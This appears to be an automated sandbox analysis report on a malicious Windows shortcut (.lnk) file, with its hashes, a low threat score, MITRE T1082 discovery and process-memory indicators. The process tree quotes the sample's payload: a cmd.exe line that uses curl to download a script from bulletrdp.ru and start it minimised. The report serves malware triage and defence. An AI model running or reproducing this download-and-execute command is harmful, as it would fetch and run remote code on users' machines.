416a2a9c374574f8fcb7f90e775069e7d4606c0155f964886096e41f45d16548

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25/09/2024, 01:36

Target

416a2a9c374574f8fcb7f90e775069e7d4606c0155f964886096e41f45d16548.lnk
Size

2KB
MD5

3c7a07fe113ba143f466e9a2f6a29917
SHA1

2f3e1dcdd00790e1cf274151c4eec465524d60df
SHA256

416a2a9c374574f8fcb7f90e775069e7d4606c0155f964886096e41f45d16548
SHA512

8302e0753310dfd7b5316058ca652afc610c03081b7aae7c8acf1123fa15659c48c72dfcd92f3603d192f0640d18ff8985fa9b7bff20b85ee3043c98de876e47

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 2828	2540	cmd.exe	31
PID 2540 wrote to memory of 2828	2540	cmd.exe	31
PID 2540 wrote to memory of 2828	2540	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\416a2a9c374574f8fcb7f90e775069e7d4606c0155f964886096e41f45d16548.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -o fbi.cmd https://bulletrdp.ru/lpg.cmd && start /min fbi.cmd
  2⤵
  PID:2828

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact